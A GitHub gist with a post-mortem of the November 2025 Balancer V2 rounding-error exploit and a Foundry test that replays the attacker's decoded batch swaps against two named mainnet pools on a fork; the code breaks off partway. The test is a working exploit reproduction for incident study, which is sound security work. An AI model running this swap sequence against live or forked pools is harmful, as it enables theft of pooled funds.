Skip to content

Instantly share code, notes, and snippets.

@ccashwell
Last active November 6, 2025 22:51
Show Gist options
  • Select an option

  • Save ccashwell/4c00e50528dc9369eb7597cceaed73f8 to your computer and use it in GitHub Desktop.

Select an option

Save ccashwell/4c00e50528dc9369eb7597cceaed73f8 to your computer and use it in GitHub Desktop.
Balancer V2 Rate Manipulation Attack Reproduction (Nov 2025)

Balancer V2 Rate Manipulation Exploit (November 2025)

Overview

Balancer V2 experienced a rate manipulation exploit on November 3, 2025, resulting in approximately $128 million in losses in the initial attack, followed by many millions more in subsequent attacks against other vulnerable pools, protocols and networks.

Attack Summary

The Vulnerability, TLDR: Down-rounding in Balancer V2's stable math (_calcOutGivenIn) allows systematic manipulation of pool invariants through accumulated rounding errors. Carefully crafted swap sequences cause rounding errors to compound.

Attack Vector:

  1. Phase 1 - Manipulate osETH/WETH Pool (121 steps): Execute swaps that exploit rounding errors to accumulate WETH, osETH, and BPT_osETH in internal balance
  2. Phase 2 - Manipulate wstETH/WETH Pool (105 steps): Execute swaps that exploit rounding errors to accumulate wstETH, WETH, and BPT_wstETH in internal balance
  3. Phase 3 - Withdrawal: Convert accumulated internal balances to external tokens

Observations:

  • All operations use Balancer Vault's internal balance system
    • The sequence initially causes the attacker's internal vault balances to go negative, but subsequent operations exploit rounding errors to effectively erase that protocol debt through carefully structured swaps to cause the credits to exceed debits. This is because
  • No flash loans or large capital requirements
    • The cost of the exploit was around $20 in gas between both transactions, no other assets required
  • Exploits mathematical properties of stable pool pricing curves
  • Each tiny rounding error accumulates across hundreds of swaps

Attack Details

Phase 1 Transaction (osETH/WETH Pool)

  • TX: 0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742
  • Block: 23717397
  • Steps: 121 swaps exploiting rounding errors
  • Effect: Accumulates WETH, osETH, BPT in internal balance
  • Invariant Drift: ~7,295 ether decrease

Phase 2 Transaction (wstETH/WETH Pool)

  • TX: 0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569
  • Block: 23717404 (7 blocks later)
  • Steps: 105 swaps exploiting rounding errors
  • Effect: Accumulates wstETH, WETH, BPT_WSTETH in internal balance

Vulnerable Pools

  • Address: 0xdAcF5fa19b1F720111609043ac67a9818262850c
    • Type: Balancer V2 Composable Stable Pool
    • Assets: osETH, WETH
  • Address: 0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD
    • Type: Balancer V2 Composable Stable Pool
    • Assets: wstETH, WETH

Technical Deep Dive

Invariant Manipulation Mechanism

Balancer's stable math uses the formula:

  /**********************************************************************************************
  // invariant                                                                                 //
  // D = invariant                                                  D^(n+1)                    //
  // A = amplification coefficient      A  n^n S + D = A D n^n + -----------                   //
  // S = sum of balances                                             n^n P                     //
  // P = product of balances                                                                   //
  // n = number of tokens                                                                      //
  **********************************************************************************************/

The Exploit:

  1. Each swap calculation involves division that rounds down
  2. With many small swaps, these errors accumulate in one direction
  3. The invariant D becomes systematically underestimated
  4. BPT pricing relies on the invariant, so BPT becomes mispriced
  5. Attackers can extract the difference as profit

Why GIVEN_OUT Mode?

The attack uses SwapKind.GIVEN_OUT (specify output amount, calculate required input):

  • Provides more precise control over rounding behavior
  • Allows targeting specific rounding boundaries
  • Enables cascading effects across multiple steps

Internal Balance Strategy

Using internal balances (rather than external transfers):

  • Eliminates capital requirements
  • Reduces gas costs significantly
  • Avoids ERC-20 transfer overhead
  • Enables atomic multi-step operations
  • Matches the original attack exactly

Mitigation

Balancer has addressed this vulnerability through:

  1. Math Library Updates: Improved rounding in stable math calculations
  2. Rate Provider Limits: Added bounds checking on rate providers
  3. Invariant Validation: Enhanced invariant change monitoring
  4. Pool Pausing: Affected pools were paused where possible, though many could not be paused

References

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.30;
import "forge-std/Test.sol";
import "../interface.sol";
/*
@KeyInfo
- Total Lost: ≈$128 M
- Attacker: https://etherscan.io/address/0x506D1f9EFe24f0d47853aDca907EB8d89AE03207
- Vulnerable Contracts: https://etherscan.io/address/0xDACf5Fa19b1f720111609043ac67A9818262850c (applicable to all Balancer V2 composable stable pools and many forks)
- Attack Tx: https://etherscan.io/tx/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742 (manipulation tx)
- Attack Tx: https://etherscan.io/tx/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569 (extraction tx)
@Info
- This test recreates the attacker's flow by replaying the exact `batchSwap`
legs extracted from the original attack transaction. The sequence first
executes two manipulation phases:
• Phase 1: 121 swaps on osETH/WETH pool (accumulate WETH, osETH, BPT_osETH)
• Phase 2: 105 swaps on wstETH/WETH pool (accumulate wstETH, WETH, BPT_wstETH)
Both phases exploit rounding errors to generate profit.
The reproduction operates entirely through the Vault's internal balance
system—mirroring the original call trace—and finally withdraws all
accumulated assets to demonstrate the net profit.
@Attack Overview
- The attack exploits down-rounding in Balancer V2's stable math (`_calcOutGivenIn`)
to systematically bias the pool's invariant (D) downward over many iterations.
- Each small swap causes a tiny rounding error that accumulates across 121 steps.
- The biased invariant leads to mispriced BPT, allowing profitable extraction.
- Total profit: ~6,587 WETH, ~6,851 osETH, ~44 BPT_osETH, ~4,259 wstETH, ~20 BPT_wstETH (~$128M)
*/
contract Balancer_20251103_Exp is Test {
IBalancerVault private constant vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
// Pool 0: osETH/WETH composable stable pool (also the BPT token)
IBalancerPool private constant POOL_0 = IBalancerPool(0xDACf5Fa19b1f720111609043ac67A9818262850c);
IERC20 private constant BPT_OSETH = IERC20(0xDACf5Fa19b1f720111609043ac67A9818262850c);
// Pool 1: wstETH/WETH composable stable pool (also the BPT_WSTETH token)
IBalancerPool private constant POOL_1 = IBalancerPool(0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD);
IERC20 private constant BPT_WSTETH = IERC20(0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD);
WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private constant osETH = IERC20(0xf1C9acDc66974dFB6dEcB12aA385b9cD01190E38);
IERC20 private constant wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
address private constant ATTACKER = 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d;
bytes32 private constant POOL_ID_0 = 0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635;
bytes32 private constant POOL_ID_1 = 0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2;
function setUp() public {
vm.label(address(vault), "BalancerVault");
vm.label(address(POOL_0), "Pool0:osETH/WETH");
vm.label(address(POOL_1), "Pool1:wstETH/WETH");
vm.label(address(WETH), "WETH");
vm.label(address(osETH), "osETH");
vm.label(address(wstETH), "wstETH");
vm.label(address(BPT_OSETH), "BPT_osETH");
vm.label(address(BPT_WSTETH), "BPT_wstETH");
}
function testExploit() public {
vm.createSelectFork("mainnet", 23_717_390); // Block 23717390: original attack block
emit log("");
emit log(unicode"╔═══════════════════════════════════════════════════════════════╗");
emit log(unicode"║ Balancer V2 Rate Manipulation Exploit Reproduction (~$128M) ║");
emit log(unicode"╚═══════════════════════════════════════════════════════════════╝");
emit log(unicode" ┌─ Exploit Execution Flow:");
uint256 initialWeth = IERC20(address(WETH)).balanceOf(ATTACKER);
uint256 initialOsETH = osETH.balanceOf(ATTACKER);
uint256 initialBpt = BPT_OSETH.balanceOf(ATTACKER);
uint256 initialWstETH = wstETH.balanceOf(ATTACKER);
uint256 initialBptWstETH = BPT_WSTETH.balanceOf(ATTACKER);
// Log initial external balances
emit log(unicode" ├─ Attacker Initial State:");
emit log(unicode" │ ├─ External Balances:");
emit log_named_decimal_uint(unicode" │ │ ├─ WETH", initialWeth, 18);
emit log_named_decimal_uint(unicode" │ │ ├─ osETH", initialOsETH, 18);
emit log_named_decimal_uint(unicode" │ │ ├─ wstETH", initialWstETH, 18);
emit log_named_decimal_uint(unicode" │ │ ├─ BPT_osETH", initialBpt, 18);
emit log_named_decimal_uint(unicode" │ │ └─ BPT_wstETH", initialBptWstETH, 18);
uint256 initialInvariant0 = _logPoolState("Initial osETH/WETH Pool", POOL_ID_0);
// Phase 1: Manipulate osETH/WETH pool (accumulate WETH, osETH, BPT_osETH)
_logPhaseHeader("Phase 1", "Manipulate osETH/WETH Pool (121 steps)");
_logInternalBalances();
(IBalancerVault.BatchSwapStep[] memory primeSteps, address[] memory primeAssets) = _buildManipulationBatch();
_logStepwiseDeltas(primeSteps, primeAssets, "Phase1");
_executeGivenOut(primeSteps, primeAssets);
uint256 postPhase1Invariant0 = _logPoolState("Post-Phase1 osETH/WETH Pool", POOL_ID_0);
// Show invariant drift from Phase 1 manipulation
if (postPhase1Invariant0 < initialInvariant0) {
emit log(unicode" │ ⚠️ Pool 0 Invariant Drift:");
emit log_named_decimal_uint(unicode" │ └─ Decreased by", initialInvariant0 - postPhase1Invariant0, 18);
}
// Phase 2: Manipulate wstETH/WETH pool (accumulate wstETH, WETH, BPT_wstETH)
_logPhaseHeader("Phase 2", "Manipulate wstETH/WETH Pool (105 steps)");
_logInternalBalances();
uint256 initialInvariant1 = _logPoolState("Pre-Phase2 wstETH/WETH Pool", POOL_ID_1);
(IBalancerVault.BatchSwapStep[] memory unwindSteps, address[] memory unwindAssets) = _buildUnwindBatch();
_logStepwiseDeltas(unwindSteps, unwindAssets, "Phase2");
_executeGivenOut(unwindSteps, unwindAssets);
uint256 postPhase2Invariant1 = _logPoolState("Post-Phase2 wstETH/WETH Pool", POOL_ID_1);
// Show invariant drift from Phase 2 manipulation
if (postPhase2Invariant1 < initialInvariant1) {
emit log(unicode" │ ⚠️ Pool 1 Invariant Drift:");
emit log_named_decimal_uint(unicode" │ └─ Decreased by", initialInvariant1 - postPhase2Invariant1, 18);
}
// Phase 3: Withdraw all internal balances to realize profit
_logPhaseHeader("Phase 3", "Withdraw Internal Balances");
_logInternalBalances();
_withdrawInternalBalances();
uint256 finalWeth = IERC20(address(WETH)).balanceOf(ATTACKER);
uint256 finalOsETH = osETH.balanceOf(ATTACKER);
uint256 finalBpt = BPT_OSETH.balanceOf(ATTACKER);
uint256 finalWstETH = wstETH.balanceOf(ATTACKER);
uint256 finalBptWstETH = BPT_WSTETH.balanceOf(ATTACKER);
_logFinalProfits(
initialWeth, initialOsETH, initialBpt, initialWstETH, initialBptWstETH, finalWeth, finalOsETH, finalBpt, finalWstETH, finalBptWstETH
);
}
/// @notice Executes a batch of swaps in GIVEN_OUT mode via the Balancer Vault
/// @dev All swaps use internal balance to avoid external token transfers during the attack
/// @param steps Array of swap steps defining the batch swap sequence
/// @param assets Array of token addresses involved in the swaps
/// @return deltas Net balance changes for each asset (negative = spend, positive = receive)
function _executeGivenOut(
IBalancerVault.BatchSwapStep[] memory steps,
address[] memory assets
) internal returns (int256[] memory deltas) {
int256[] memory limits = new int256[](assets.length);
for (uint256 i = 0; i < assets.length; ++i) {
limits[i] = type(int256).max;
}
vm.startPrank(ATTACKER);
deltas = vault.batchSwap(
IBalancerVault.SwapKind.GIVEN_OUT,
steps,
assets,
IBalancerVault.FundManagement({
sender: ATTACKER,
fromInternalBalance: false,
recipient: payable(ATTACKER),
toInternalBalance: true
}),
limits,
block.timestamp
);
vm.stopPrank();
}
/// @notice Withdraws all non-zero internal balances from the Balancer Vault
/// @dev Dynamically builds withdrawal operations for only non-zero balances
function _withdrawInternalBalances() internal {
IERC20[] memory tokens = new IERC20[](5);
tokens[0] = IERC20(address(WETH));
tokens[1] = osETH;
tokens[2] = BPT_OSETH;
tokens[3] = wstETH;
tokens[4] = BPT_WSTETH;
uint256[] memory balances = vault.getInternalBalance(ATTACKER, tokens);
uint256 count;
for (uint256 i = 0; i < balances.length; ++i) {
if (balances[i] > 0) {
++count;
}
}
if (count == 0) return;
IBalancerVault.UserBalanceOp[] memory ops = new IBalancerVault.UserBalanceOp[](count);
uint256 idx;
for (uint256 i = 0; i < balances.length; ++i) {
uint256 bal = balances[i];
if (bal == 0) continue;
ops[idx++] = IBalancerVault.UserBalanceOp({
kind: IBalancerVault.UserBalanceOpKind.WITHDRAW_INTERNAL,
asset: address(tokens[i]),
amount: bal,
sender: ATTACKER,
recipient: payable(ATTACKER)
});
}
vm.prank(ATTACKER);
vault.manageUserBalance(ops);
}
/// @notice Logs the current state of the osETH/WETH pool including balances and invariant
/// @param label Descriptive label for this state snapshot
/// @return invariant The calculated pool invariant
function _logPoolState(string memory label, bytes32 poolId) internal returns (uint256 invariant) {
address pool = poolId == POOL_ID_0 ? address(POOL_0) : address(POOL_1);
(, uint256[] memory balances,) = vault.getPoolTokens(poolId);
uint256 sum;
for (uint256 i = 0; i < balances.length; ++i) {
sum += balances[i];
}
emit log(string.concat(unicode" ├─ ", label, " Pool State"));
emit log_named_uint(unicode" │ ├─ Balance Sum", sum);
// Get scaled balances for invariant calculation
uint256[] memory scaledBalances;
try IComposableStablePool(pool).getScalingFactors() returns (uint256[] memory scalings) {
scaledBalances = new uint256[](balances.length);
uint256 scaled;
uint256 len = scalings.length < balances.length ? scalings.length : balances.length;
for (uint256 i = 0; i < len; ++i) {
scaledBalances[i] = (balances[i] * scalings[i]) / 1e18;
scaled += scaledBalances[i];
}
emit log_named_uint(unicode" │ ├─ Scaled Sum", scaled);
} catch {
scaledBalances = balances; // Fallback to raw balances
}
// Calculate invariant D using stable math approximation
invariant = _calculateInvariant(scaledBalances, pool);
emit log_named_uint(unicode" │ └─ Invariant (D)", invariant);
}
/// @notice Simplified invariant calculation for composable stable pools
/// @dev This is an approximation - the real calculation is iterative
function _calculateInvariant(
uint256[] memory balances,
address pool
) internal view returns (uint256) {
if (balances.length == 0) return 0;
// For composable pools, skip the BPT balance (index 0)
uint256 sum = 0;
uint256 numTokens = 0;
for (uint256 i = 1; i < balances.length; i++) {
if (balances[i] > 0) {
sum += balances[i];
numTokens++;
}
}
if (numTokens == 0) return 0;
// Get amplification parameter
uint256 amp = 5000; // Default fallback
try IComposableStablePool(pool).getAmplificationParameter() returns (
uint256 value, bool, uint256 precision
) {
amp = value / precision;
} catch {}
// Simplified invariant: D ≈ sum of balances (when balanced)
// For more accuracy, we'd need the full Newton-Raphson iteration
// This gives us a reasonable approximation for logging purposes
uint256 d = sum;
// Apply amplification adjustment (simplified)
// Real formula: D = (A * n^n * S + D^(n+1)/(n^n*P)) / (A * n^n - 1 + D^n/(n^(n-1)*P))
// We use a simpler approximation: D ≈ S * (1 + adjustmentFactor)
if (amp > 0 && numTokens > 1) {
// Small adjustment based on imbalance
d = (d * (10_000 + amp / 100)) / 10_000;
}
return d;
}
/// @notice Builds the 121-step batch for Phase 1: osETH/WETH pool manipulation
/// @dev Decoded from the original attack transaction. Exploits rounding errors to
/// accumulate WETH, osETH, and BPT in internal balance with zero capital.
/// @return steps Array of 121 BatchSwapStep structs
/// @return assets Array of assets involved: [WETH, BPT_osETH, osETH]
function _buildManipulationBatch()
internal
pure
returns (IBalancerVault.BatchSwapStep[] memory steps, address[] memory assets)
{
bytes32 poolId = POOL_ID_0;
// Build asset indices dynamically: pattern is (1→0, 1→2) repeated, then special sequences
steps = new IBalancerVault.BatchSwapStep[](121);
uint8[121] memory assetInIdx = [
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2,
0
];
uint8[121] memory assetOutIdx = [
0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0,
2, 0, 2, 0, 2, 0, 2, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1,
1
];
uint256[] memory amounts = new uint256[](121);
amounts[0] = 4_873_132_999_218_408_001_625;
amounts[1] = 6_783_065_423_678_905_706_961;
amounts[2] = 48_731_329_992_184_080_017;
amounts[3] = 67_830_654_236_789_057_069;
amounts[4] = 487_313_299_921_840_800;
amounts[5] = 678_306_542_367_890_571;
amounts[6] = 4_873_132_999_218_408;
amounts[7] = 6_783_065_423_678_906;
amounts[8] = 48_731_329_992_184;
amounts[9] = 67_830_654_236_789;
amounts[10] = 487_313_299_922;
amounts[11] = 678_306_542_367;
amounts[12] = 4_873_132_999;
amounts[13] = 6_783_065_424;
amounts[14] = 48_731_330;
amounts[15] = 67_830_654;
amounts[16] = 487_313;
amounts[17] = 678_307;
amounts[18] = 4873;
amounts[19] = 6783;
amounts[20] = 50;
amounts[21] = 69;
amounts[22] = 66_982;
amounts[23] = 17;
amounts[24] = 891_000;
amounts[25] = 5165;
amounts[26] = 17;
amounts[27] = 666_000;
amounts[28] = 9016;
amounts[29] = 17;
amounts[30] = 495_000;
amounts[31] = 12_206;
amounts[32] = 17;
amounts[33] = 369_000;
amounts[34] = 17_532;
amounts[35] = 17;
amounts[36] = 270_000;
amounts[37] = 14_434;
amounts[38] = 17;
amounts[39] = 198_000;
amounts[40] = 11_377;
amounts[41] = 17;
amounts[42] = 160_000;
amounts[43] = 22_554;
amounts[44] = 17;
amounts[45] = 120_000;
amounts[46] = 17_663;
amounts[47] = 17;
amounts[48] = 89_100;
amounts[49] = 12_038;
amounts[50] = 17;
amounts[51] = 67_500;
amounts[52] = 10_414;
amounts[53] = 17;
amounts[54] = 52_200;
amounts[55] = 9007;
amounts[56] = 17;
amounts[57] = 40_500;
amounts[58] = 7867;
amounts[59] = 17;
amounts[60] = 31_500;
amounts[61] = 6554;
amounts[62] = 17;
amounts[63] = 24_300;
amounts[64] = 5472;
amounts[65] = 17;
amounts[66] = 19_800;
amounts[67] = 4749;
amounts[68] = 17;
amounts[69] = 16_200;
amounts[70] = 4397;
amounts[71] = 17;
amounts[72] = 12_600;
amounts[73] = 3442;
amounts[74] = 17;
amounts[75] = 10_800;
amounts[76] = 3296;
amounts[77] = 17;
amounts[78] = 9000;
amounts[79] = 2886;
amounts[80] = 17;
amounts[81] = 7371;
amounts[82] = 2286;
amounts[83] = 17;
amounts[84] = 6480;
amounts[85] = 2124;
amounts[86] = 17;
amounts[87] = 6075;
amounts[88] = 2014;
amounts[89] = 17;
amounts[90] = 5589;
amounts[91] = 1902;
amounts[92] = 17;
amounts[93] = 4779;
amounts[94] = 1730;
amounts[95] = 17;
amounts[96] = 4455;
amounts[97] = 1664;
amounts[98] = 17;
amounts[99] = 3969;
amounts[100] = 1562;
amounts[101] = 17;
amounts[102] = 3726;
amounts[103] = 1492;
amounts[104] = 17;
amounts[105] = 3645;
amounts[106] = 1484;
amounts[107] = 17;
amounts[108] = 3564;
amounts[109] = 1444;
amounts[110] = 17;
amounts[111] = 3564;
amounts[112] = 10_000;
amounts[113] = 10_000_000;
amounts[114] = 10_000_000_000;
amounts[115] = 10_000_000_000_000;
amounts[116] = 10_000_000_000_000_000;
amounts[117] = 10_000_000_000_000_000_000;
amounts[118] = 10_000_000_000_000_000_000_000;
amounts[119] = 941_319_322_493_191_942_754;
amounts[120] = 941_319_322_493_191_942_754;
steps = new IBalancerVault.BatchSwapStep[](121);
for (uint256 i = 0; i < steps.length; ++i) {
steps[i] = IBalancerVault.BatchSwapStep({
poolId: poolId,
assetInIndex: assetInIdx[i],
assetOutIndex: assetOutIdx[i],
amount: amounts[i],
userData: bytes("")
});
}
assets = new address[](3);
assets[0] = address(WETH);
assets[1] = address(BPT_OSETH);
assets[2] = address(osETH);
}
/// @notice Builds the 105-step batch for Phase 2: wstETH/WETH pool manipulation
/// @dev Decoded from the original attack transaction. Exploits rounding errors to
/// accumulate wstETH, WETH, and BPT_WSTETH in internal balance.
/// @return steps Array of 105 BatchSwapStep structs
/// @return assets Array of assets involved: [wstETH, BPT_wstETH, WETH]
function _buildUnwindBatch()
internal
pure
returns (IBalancerVault.BatchSwapStep[] memory steps, address[] memory assets)
{
bytes32 poolId = POOL_ID_1;
uint8[105] memory assetInIdx = [
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2,
2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0,
2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2,
2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2,
0, 0, 2, 0, 2, 0, 2, 0, 2
];
uint8[105] memory assetOutIdx = [
0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2,
0, 2, 0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0,
0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2,
0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0,
0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0,
2, 1, 1, 1, 1, 1, 1, 1, 1
];
uint256[] memory amounts = new uint256[](105);
amounts[0] = 4_228_132_612_127_881_562_978;
amounts[1] = 1_957_287_132_413_516_128_516;
amounts[2] = 42_281_326_121_278_815_630;
amounts[3] = 19_572_871_324_135_161_285;
amounts[4] = 422_813_261_212_788_156;
amounts[5] = 195_728_713_241_351_613;
amounts[6] = 4_228_132_612_127_882;
amounts[7] = 1_957_287_132_413_516;
amounts[8] = 42_281_326_121_278;
amounts[9] = 19_572_871_324_136;
amounts[10] = 422_813_261_213;
amounts[11] = 195_728_713_241;
amounts[12] = 4_228_132_612;
amounts[13] = 1_957_287_132;
amounts[14] = 42_281_326;
amounts[15] = 19_572_872;
amounts[16] = 422_814;
amounts[17] = 195_728;
amounts[18] = 4228;
amounts[19] = 1958;
amounts[20] = 43;
amounts[21] = 20;
amounts[22] = 99_999_999_995;
amounts[23] = 4;
amounts[24] = 380_000_000_000_000;
amounts[25] = 6665;
amounts[26] = 4;
amounts[27] = 270_000_000_000_000;
amounts[28] = 6528;
amounts[29] = 4;
amounts[30] = 190_000_000_000_000;
amounts[31] = 2477;
amounts[32] = 4;
amounts[33] = 130_000_000_000_000;
amounts[34] = 297;
amounts[35] = 4;
amounts[36] = 97_000_000_000_000;
amounts[37] = 47_546;
amounts[38] = 4;
amounts[39] = 70_000_000_000_000;
amounts[40] = 301_296;
amounts[41] = 4;
amounts[42] = 50_000_000_000_000;
amounts[43] = 9419;
amounts[44] = 4;
amounts[45] = 36_000_000_000_000;
amounts[46] = 3_493_484;
amounts[47] = 4;
amounts[48] = 26_000_000_000_000;
amounts[49] = 1157;
amounts[50] = 4;
amounts[51] = 18_000_000_000_000;
amounts[52] = 341;
amounts[53] = 4;
amounts[54] = 13_000_000_000_000;
amounts[55] = 670;
amounts[56] = 4;
amounts[57] = 9_500_000_000_000;
amounts[58] = 10_201;
amounts[59] = 4;
amounts[60] = 6_210_000_000_000;
amounts[61] = 81;
amounts[62] = 4;
amounts[63] = 4_900_000_000_000;
amounts[64] = 9846;
amounts[65] = 4;
amounts[66] = 3_500_000_000_000;
amounts[67] = 4546;
amounts[68] = 4;
amounts[69] = 2_500_000_000_000;
amounts[70] = 17_520;
amounts[71] = 4;
amounts[72] = 1_700_000_000_000;
amounts[73] = 292;
amounts[74] = 4;
amounts[75] = 1_200_000_000_000;
amounts[76] = 220;
amounts[77] = 4;
amounts[78] = 840_000_000_000;
amounts[79] = 46_307;
amounts[80] = 4;
amounts[81] = 600_000_000_000;
amounts[82] = 37_215;
amounts[83] = 4;
amounts[84] = 430_000_000_000;
amounts[85] = 620_177_448;
amounts[86] = 4;
amounts[87] = 310_000_000_000;
amounts[88] = 21_591;
amounts[89] = 4;
amounts[90] = 220_000_000_000;
amounts[91] = 671;
amounts[92] = 4;
amounts[93] = 160_000_000_000;
amounts[94] = 7038;
amounts[95] = 4;
amounts[96] = 110_000_000_000;
amounts[97] = 10_000;
amounts[98] = 10_000_000;
amounts[99] = 10_000_000_000;
amounts[100] = 10_000_000_000_000;
amounts[101] = 10_000_000_000_000_000;
amounts[102] = 10_000_000_000_000_000_000;
amounts[103] = 3_418_009_626_758_926_269_710;
amounts[104] = 3_418_009_626_758_926_269_710;
steps = new IBalancerVault.BatchSwapStep[](105);
for (uint256 i = 0; i < steps.length; ++i) {
steps[i] = IBalancerVault.BatchSwapStep({
poolId: poolId,
assetInIndex: assetInIdx[i],
assetOutIndex: assetOutIdx[i],
amount: amounts[i],
userData: bytes("")
});
}
assets = new address[](3);
assets[0] = address(wstETH);
assets[1] = address(BPT_WSTETH);
assets[2] = address(WETH);
}
/// @notice Helper to extract the first n steps from a batch
/// @dev Used by _logStepwiseDeltas to query cumulative effects of partial batches
function _prefixSteps(
IBalancerVault.BatchSwapStep[] memory steps,
uint256 n
) internal pure returns (IBalancerVault.BatchSwapStep[] memory out) {
out = new IBalancerVault.BatchSwapStep[](n);
for (uint256 i = 0; i < n; ++i) {
out[i] = steps[i];
}
}
function _assetLabel(
address a
) internal pure returns (string memory) {
return string.concat(_nameOnly(a), unicode" Δ");
}
function _abs(
int256 x
) internal pure returns (uint256) {
return uint256(x >= 0 ? x : -x);
}
function _nameOnly(
address a
) internal pure returns (string memory) {
if (a == address(WETH)) return "WETH";
if (a == address(BPT_OSETH)) return "BPT_osETH";
if (a == address(osETH)) return "osETH";
if (a == address(wstETH)) return "wstETH";
if (a == address(BPT_WSTETH)) return "BPT_wstETH";
return "asset";
}
/// @notice Logs incremental balance deltas for each step in a batch swap
/// @dev Queries each prefix (steps 1..i) to show cumulative effects and compute incremental changes
/// @param steps The full batch swap sequence
/// @param assets The asset array for the batch
function _logStepwiseDeltas(
IBalancerVault.BatchSwapStep[] memory steps,
address[] memory assets,
string memory
) internal {
int256[] memory prev = new int256[](assets.length);
emit log(string.concat(unicode" │ ├─ Batch Swap (", vm.toString(steps.length), " steps)"));
for (uint256 i = 1; i <= steps.length; ++i) {
IBalancerVault.BatchSwapStep memory s = steps[i - 1];
IBalancerVault.BatchSwapStep[] memory pref = _prefixSteps(steps, i);
IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
sender: ATTACKER,
fromInternalBalance: false,
recipient: payable(ATTACKER),
toInternalBalance: true
});
try vault.queryBatchSwap(IBalancerVault.SwapKind.GIVEN_OUT, pref, assets, funds) returns (
int256[] memory cum
) {
string memory inName = _nameOnly(assets[s.assetInIndex]);
string memory outName = _nameOnly(assets[s.assetOutIndex]);
emit log(string.concat(unicode" │ │ ├─ Step ", vm.toString(i), ": Swap ", inName, unicode"", outName, " (", vm.toString(s.amount), " wei)"));
for (uint256 j2 = 0; j2 < assets.length; ++j2) {
prev[j2] = cum[j2];
}
} catch {
emit log(string.concat(unicode" │ │ └─ ❌ Reverted at step ", vm.toString(i)));
break;
}
}
// Net summary
emit log(unicode" │ └─┬─ Net Cumulative Deltas:");
for (uint256 j = 0; j < assets.length; ++j) {
string memory name = _assetLabel(assets[j]);
string memory branch = (j + 1 == assets.length) ? unicode" └─ " : unicode" ├─ ";
emit log_named_decimal_int(string.concat(unicode"", branch, name), prev[j], 18);
}
}
/// @notice Logs a phase header
function _logPhaseHeader(string memory phase, string memory description) internal {
emit log(unicode"");
emit log(string.concat(unicode" ├─ ", phase, ": ", description));
}
/// @notice Logs internal balances before withdrawal
function _logInternalBalances() internal {
IERC20[] memory tokens = new IERC20[](5);
tokens[0] = IERC20(address(WETH));
tokens[1] = osETH;
tokens[2] = BPT_OSETH;
tokens[3] = wstETH;
tokens[4] = BPT_WSTETH;
uint256[] memory balances = vault.getInternalBalance(ATTACKER, tokens);
emit log(unicode" │ ├─ Internal Balances (Vault):");
emit log_named_decimal_uint(unicode" │ │ ├─ WETH", balances[0], 18);
emit log_named_decimal_uint(unicode" │ │ ├─ osETH", balances[1], 18);
emit log_named_decimal_uint(unicode" │ │ ├─ wstETH", balances[3], 18);
emit log_named_decimal_uint(unicode" │ │ ├─ BPT_osETH", balances[2], 18);
emit log_named_decimal_uint(unicode" │ │ └─ BPT_wstETH", balances[4], 18);
}
/// @notice Logs final profits
function _logFinalProfits(
uint256 initialWeth,
uint256 initialOsETH,
uint256 initialBpt,
uint256 initialWstETH,
uint256 initialBptWstETH,
uint256 finalWeth,
uint256 finalOsETH,
uint256 finalBpt,
uint256 finalWstETH,
uint256 finalBptWstETH
) internal {
emit log(unicode"");
emit log(unicode" └─┐ Post-Exploit Balances (profit):");
